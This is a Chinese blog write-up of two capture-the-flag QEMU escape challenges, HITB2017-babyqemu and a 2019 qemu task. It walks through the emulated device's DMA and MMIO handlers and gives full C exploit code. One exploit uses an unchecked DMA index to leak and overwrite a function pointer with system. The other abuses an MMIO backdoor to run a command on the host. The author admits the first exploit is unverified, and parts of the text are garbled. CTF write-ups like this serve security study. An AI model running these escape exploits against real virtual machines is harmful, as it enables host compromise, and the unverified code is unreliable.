当前位置: 首页 > news >正文

【qemu逃逸】HITB2017-babyqemu 2019数字经济-qemu

前言

由于本地环境问题,babyqemu 环境都没有起起,这里仅仅做记录,exp 可能不正确。

HITB2017-babyqemu 

设备逆向

设备定位啥的就不说了,先看下实例结构体:

其中 dma_state 结构体如下:

这里看字段猜测跟 dma 相关,然后只注册了 mmio,所以直接看 mmio_read/mmio_write 吧。

这里为了方便,我把函数的功能直接写出来了

hitb_mmio_read 就是去读取实例结构体中的字段。hitb_mmio_write 主要就是设置 dma 中的相关字段。

然后最重要的就是那个时钟任务了,该时钟任务会在 hitb_mmio_write 函数中被触l

漏洞就在该时钟任务中: 

可以看到在对物理内存进行读写时并没有检查 dma.cnt 的大小,并且也没有检查读取下标的范围。但是对于 dma.cnt 大小没有检查对攻击者而言是没有的,因为其对应的是用户的 buf。

 漏洞利用

由于没有对 idx 进行检查,所以我们可以越界读取 enc 函数指针,然后以此计算出 system@plt 的地址。然后利用越界写修改 enc 函数指针为 system@plt 地址,并在 dma_buf 开头写上 cmd。这样当触发 enc(dma_buf) 时就可以执行任意命令。

即:

exp 如下:由于环境,exp 没有经过验证

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>void *mmio_base;
void mmio_init()
{int fd = open("resource0_path", O_RDWR);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint32_t addr, uint32_t val)
{*(uint32_t*)(mmio_base + addr) = val;
}uint64_t gva_to_gpa(void *addr)
{uint64_t page;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) puts("[X] open pagemap"), exit(EXIT_FAILURE);lseek(fd, (((uint64_t)addr >> 12) << 3), 0);read(fd, &page, 8);if (!(page & (1ULL << 63))) puts("[X] page not present"), exit(EXIT_FAILURE);return ((page & ((1ULL << 55 )- 1)) << 12) | ((uint64_t)addr & (4095));
}void arb_read(uint64_t dst, uint32_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(dst);mmio_write(0x88, gpa);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2);sleep(1);
}uint64_t arb_write(uint32_t dst, uint64_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(src);mmio_write(0x88, dst+0x40000);mmio_write(0x80, gpa);mmio_write(0x90, len);mmio_write(0x98, 1);sleep(1);
}void triger(uint32_t src, uint32_t len)
{mmio_write(0x88, 0);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2|4);sleep(1);
}int main(int argc, char** argv, char** envp)
{mmio_init();uint64_t enc_addr = 0;arb_read(&enc_addr, 0x1000, 8);printf("[+] enc_addr => %#p\n", enc_addr);uint64_t offset = 0; // enc - system offsetuint64_t system_addr = enc_addr + offset;printf("[+] system_addr => %#p\n", system_addr);char * cmd = "xcalc";arb_write(0x100, cmd, strlen(cmd));arb_write(0x1000, &system_addr, 8);triger(0x100, 0);return 0;
}

2019数字经济-qemu

用户名:root(无密码)

该题没有符号,这题其实非常简单,有直接的后门。所以重在对题目的分析上面。

这题没有符号,但是挺简单的,白给的后门。

mmio_read 里面存在后门:

但是这里有一个 check:

而在 mmio_write 函数中就可以设置 checked 数组的值从而绕过 check,并且还可以设置 command 的值:


 

exp 如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>void * mmio_base;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x1000000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint64_t opt, uint64_t idx, uint64_t val)
{uint64_t addr = 0;if (opt == 6)addr = (opt << 20) | idx;elseaddr = (opt << 20) | (idx << 16);printf("%#llx\n", addr);*(uint64_t*)(mmio_base + addr) = val;
}int main(int argc, char** argv, char** envp)
{// "wwssadadBABA"mmio_init();mmio_write(0, 0, 0);mmio_write(0, 1, 0);mmio_write(1, 2, 0);mmio_write(1, 3, 0);mmio_write(2, 4, 0);mmio_write(3, 5, 0);mmio_write(2, 6, 0);mmio_write(3, 7, 0);mmio_write(5, 8, 0);mmio_write(4, 9, 0);mmio_write(5, 10, 0);mmio_write(4, 11, 0);char cmd[0x8] = "xcalc;";mmio_write(6, 0, *(uint64_t*)&cmd[0]);return *(int*)mmio_base;
}
xi

效果如下:

相关文章:

【qemu逃逸】HITB2017-babyqemu 2019数字经济-qemu

前言 由于本地环境问题&#xff0c;babyqemu 环境都没有起起&#xff0c;这里仅仅做记录&#xff0c;exp 可能不正确。 HITB2017-babyqemu 设备逆向 设备定位啥的就不说了&#xff0c;先看下实例结构体&#xff1a; 其中 dma_state 结构体如下&#xff1a; 这里看字段猜测…...

Docker Compose学习笔记

Docker Compose用来做什么&#xff1f; Docker Compose 是Docker官方的开源项目。 Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application’s services. Then, with a single …...

基于树 二叉树的回溯搜索算法(DPLL)

1&#xff09;全称&#xff1a;Davis-Putnam-Logemann-Loveland 2&#xff09;思想&#xff1a;基于树/二叉树的回溯搜索算法&#xff0c;主要基于两种策略。 单子句规则&#xff1a;如果一个CNF范式中存在单子句L&#xff08;含有一个文字的子句&#xff09;&#xff0c;取L为…...

【嵌入式】适用于ESP32/ESP8266远程自动烧录工具

文章目录 介绍开始使用下载项目开启服务端开始远程烧录 后记 介绍 esp_remote_flash_tool 是一款基于 esptool.py 的远程自动烧录工具&#xff0c;支持 ESP32 和 ESP8266。 使用场景 基于 ESP-IDF 、ESP8266 NONO SDK、ESP8266 RTOS SDK 进行开发的项目项目代码存储在 Linux…...

服务器遭受攻击如何处理(记录排查)

本文的重点是介绍如何鉴别安全事件以及保护现场的方法&#xff0c;以确保服务器负责人能够在第一时间对安全攻击做出反应&#xff0c;并在最短时间内抵御攻击或减少攻击所带来的影响。 在服务器遭遇疑似安全事件时&#xff0c;通常可以从账号、进程、网络和日志四个主要方面进…...

分享81个工作总结PPT,总有一款适合您

分享81个工作总结PPT&#xff0c;总有一款适合您 PPT下载链接&#xff1a;https://pan.baidu.com/s/13hyrlZo2GhRoQjI-6z31-w?pwd8888 提取码&#xff1a;8888 Python采集代码下载链接&#xff1a;采集代码.zip - 蓝奏云 学习知识费力气&#xff0c;收集整理更不易。知识付…...

什么是DITA?从百度的回答说起

▲ 搜索“大龙谈智能内容”关注GongZongHao▲ 什么是DITA? 把这个问题输入百度&#xff0c;获得以下回答&#xff1a; DITA 是“Darwin Information Typing Architecture”&#xff08;达尔文信息类型化体系结构&#xff09;的缩写&#xff0c;它是IBM 公司为OASIS 所支持…...

线扫相机DALSA软件开发套件有哪些

Win10和Win7系统完整SDK目录截图&#xff1a; Sapera Configuration 缓存与内存管理&#xff0c;以及通信端口配置工具&#xff0c;部分功能等效于Detection(查找相机)内的Settings。 Sapera Log Viewer 打开Log Viewer后会显示之前发生过的所有与Sapera LT软件有关的运行信息…...

Scala集合操作

1 集合简介 Scala 中拥有多种集合类型&#xff0c;主要分为可变的和不可变的集合两大类&#xff1a; 可变集合&#xff1a; 可以被修改。即可以更改&#xff0c;添加&#xff0c;删除集合中的元素&#xff1b; 不可变集合类&#xff1a;不能被修改。对集合执行更改&#xff0c;…...

SQL备忘--特殊状态“未知“以及“空值NULL“的判断

一、新逻辑状态&#xff1a;未知 对于大多数其他语言的逻辑判断&#xff0c;一般只有两种结果&#xff1a;真(TURE)或假(FALSE)但在SQL中&#xff0c;还会有第三种判断结果&#xff1a;未知(UNKNOWN)&#xff0c;表示无法判断出真或者假。 未知状态会影响传统逻辑运算&#x…...

《Pytorch新手入门》第一节-认识Tensor

《Pytorch新手入门》第一节-认识Tensor 一、认识Tensor1.1 Tensor定义1.2 Tensor运算操作1.3 Tensor与numpy转换 参考《深度学习框架PyTorch&#xff1a;入门与实践_陈云(著)》 一、认识Tensor 1.1 Tensor定义 Tensor 是 PyTorch 中重要的数据结构&#xff0c;可认为是一个高…...

【JAVA学习笔记】55 - 集合-Map接口、HashMap类、HashTable类、Properties类、TreeMap类(难点)

项目代码 https://github.com/yinhai1114/Java_Learning_Code/tree/main/IDEA_Chapter14/src/com/yinhai/map_ Map接口 一、Map接口的特点&#xff08;难点&#xff09; 难点在于对Node和Entry和EntrySet的关系 注意:这里讲的是JDK8的Map接口特点 Map java 1) Map与Collect…...

Pytorch图像模型转ONNX后出现色偏问题

本篇记录一次从Pytorch图像处理模型转换成ONNX模型之后&#xff0c;在推理过程中出现了明显色偏问题的解决过程。 问题描述&#xff1a;原始pytorch模型推理正常&#xff0c;通过torch.onnx.export()函数转换成onnx之后&#xff0c;推理时出现了比较明显的颜色偏差。 原始模型…...

插值表达式 {{}}

前言 持续学习总结输出中&#xff0c;今天分享的是插值表达式 {{}} Vue插值表达式是一种Vue的模板语法&#xff0c;我们可以在模板中动态地用插值表达式渲染出Vue提供的数据绑定到视图中。插值表达式使用双大括号{{ }}将表达式包裹起来。 1.作用&#xff1a; 利用表达式进行…...

白雪公主

前言 #define 皇后 王后 在很久很久以前&#xff0c;有一个国王&#xff0c;由于王后难产致死&#xff0c;导致生下的孩子没母,由于缺爱&#xff0c;变的非常的刻薄 由于公主过于刻薄&#xff0c;以至于见到她的人都面色煞白感到空中飘雪 37C 的嘴怎能说出如此刻薄的话语。为了…...

宏观角度认识递归之合并两个有序链表

21. 合并两个有序链表 - 力扣&#xff08;LeetCode&#xff09; 依旧是利用宏观角度来看待问题&#xff0c;其中最主要的就是要找到重复的子问题&#xff1b; 题目中要求把两个有序链表进行合并&#xff0c;同时不能够创建新的节点&#xff0c;并返回链表的起始点&#xff1a;因…...

Leetcode-509 斐波那契数列

使用循环 class Solution {public int fib(int n) {if(n 0){return 0;}if(n 1){return 1;}int res 0;int pre1 1;int pre2 0;for(int i 2; i < n; i){res pre1 pre2;pre2 pre1;pre1 res;}return res;} }使用HashMap class Solution {private Map<Integer,Int…...

解密 docker 容器内 DNS 解析原理

背景 这几天在使用 docker 中&#xff0c;碰到了在容器中 DNS 解析的一些问题。故花些时间弄清了原理&#xff0c;写此文章分享。 1. docker run 命令启动的容器 以启动一个 busybox 容器为例&#xff1a; rootubuntu20:~# docker run -itd --name u1 busybox 63b59ca8aeac…...

故障诊断模型 | Maltab实现SVM支持向量机的故障诊断

效果一览 文章概述 故障诊断模型 | Maltab实现SVM支持向量机的故障诊断 模型描述 Chinese: Options:可用的选项即表示的涵义如下   -s svm类型:SVM设置类型(默认0)   0 – C-SVC   1 --v-SVC   2 – 一类SVM   3 – e -SVR   4 – v-SVR   -t 核函数类型:核函…...

开源的网站数据分析统计平台——Matomo

Matomo 文章目录 Matomo前言一、环境准备1. 整体安装流程2.安装PHP 7.3.303.nginx配置4.安装matomo4.1 访问安装页面 http://192.168.10.45:8088/index.php4.2 连接数据库4.3 设置管理员账号4.4 生成js跟踪代码4.5 安装完成4.6 警告修改4.7 刷新页面&#xff0c;就可以看到登陆…...

【位运算】消失的两个数字(hard)

消失的两个数字&#xff08;hard&#xff09; 题⽬描述&#xff1a;解法&#xff08;位运算&#xff09;&#xff1a;Java 算法代码&#xff1a;更简便代码 题⽬链接&#xff1a;⾯试题 17.19. 消失的两个数字 题⽬描述&#xff1a; 给定⼀个数组&#xff0c;包含从 1 到 N 所有…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)

可以使用Sqliteviz这个网站免费编写sql语句&#xff0c;它能够让用户直接在浏览器内练习SQL的语法&#xff0c;不需要安装任何软件。 链接如下&#xff1a; sqliteviz 注意&#xff1a; 在转写SQL语法时&#xff0c;关键字之间有一个特定的顺序&#xff0c;这个顺序会影响到…...

SpringTask-03.入门案例

一.入门案例 启动类&#xff1a; package com.sky;import lombok.extern.slf4j.Slf4j; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cache.annotation.EnableCach…...

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

Device Mapper 机制

Device Mapper 机制详解 Device Mapper&#xff08;简称 DM&#xff09;是 Linux 内核中的一套通用块设备映射框架&#xff0c;为 LVM、加密磁盘、RAID 等提供底层支持。本文将详细介绍 Device Mapper 的原理、实现、内核配置、常用工具、操作测试流程&#xff0c;并配以详细的…...

学校时钟系统,标准考场时钟系统,AI亮相2025高考,赛思时钟系统为教育公平筑起“精准防线”

2025年#高考 将在近日拉开帷幕&#xff0c;#AI 监考一度冲上热搜。当AI深度融入高考&#xff0c;#时间同步 不再是辅助功能&#xff0c;而是决定AI监考系统成败的“生命线”。 AI亮相2025高考&#xff0c;40种异常行为0.5秒精准识别 2025年高考即将拉开帷幕&#xff0c;江西、…...

PAN/FPN

import torch import torch.nn as nn import torch.nn.functional as F import mathclass LowResQueryHighResKVAttention(nn.Module):"""方案 1: 低分辨率特征 (Query) 查询高分辨率特征 (Key, Value).输出分辨率与低分辨率输入相同。"""def __…...

08. C#入门系列【类的基本概念】:开启编程世界的奇妙冒险

C#入门系列【类的基本概念】&#xff1a;开启编程世界的奇妙冒险 嘿&#xff0c;各位编程小白探险家&#xff01;欢迎来到 C# 的奇幻大陆&#xff01;今天咱们要深入探索这片大陆上至关重要的 “建筑”—— 类&#xff01;别害怕&#xff0c;跟着我&#xff0c;保准让你轻松搞…...

scikit-learn机器学习

# 同时添加如下代码, 这样每次环境(kernel)启动的时候只要运行下方代码即可: # Also add the following code, # so that every time the environment (kernel) starts, # just run the following code: import sys sys.path.append(/home/aistudio/external-libraries)机…...

人工智能--安全大模型训练计划:基于Fine-tuning + LLM Agent

安全大模型训练计划&#xff1a;基于Fine-tuning LLM Agent 1. 构建高质量安全数据集 目标&#xff1a;为安全大模型创建高质量、去偏、符合伦理的训练数据集&#xff0c;涵盖安全相关任务&#xff08;如有害内容检测、隐私保护、道德推理等&#xff09;。 1.1 数据收集 描…...